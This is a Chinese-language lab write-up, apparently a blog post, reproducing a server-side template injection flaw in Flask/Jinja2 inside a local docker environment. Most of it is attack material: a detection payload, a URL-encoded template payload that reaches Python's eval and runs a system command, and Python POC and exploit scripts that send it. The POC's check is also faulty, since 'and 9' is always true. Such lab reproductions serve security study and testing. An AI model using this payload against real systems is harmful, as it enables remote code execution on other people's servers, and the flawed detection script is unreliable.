天天看点

Flask(Jinja2) 服务端模板注入漏洞

Flask是一个web框架,提供工具、库、技术来允许用户创建一个web应用程序,不依赖外部框架。

Jinja2是python中被广泛应用的模块引擎,由python实现的模块语言,Flask提供render_template函数封装了该模块引擎。

漏洞复现:

手工复现:

开启环境:docker-compose up -d

访问:http://192.168.0.27:8000

Flask(Jinja2) 服务端模板注入漏洞

payload:url/?name={{3*3}}

出现 9 即代表SSTI漏洞存在

Flask(Jinja2) 服务端模板注入漏洞

漏洞利用:

url/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
           

得到结果:

Flask(Jinja2) 服务端模板注入漏洞

复现完成关闭环境:dockers-compose down -v

二、脚本复现

#POC
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name={{3*3}}'
url = url + payload
re  = requests.get(url)
if re.status_code == 200 and 9 :
	print(re.text)
else:
	print("不存在")
           

 结果:

Flask(Jinja2) 服务端模板注入漏洞

 exp脚本:

#exp:
import requests
url = 'http://192.168.0.27:8000'
payload = '/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
url = url + payload
re  = requests.get(url)
if re.status_code == 200:
	print(re.text)
else:
	print("error")
           
Flask(Jinja2) 服务端模板注入漏洞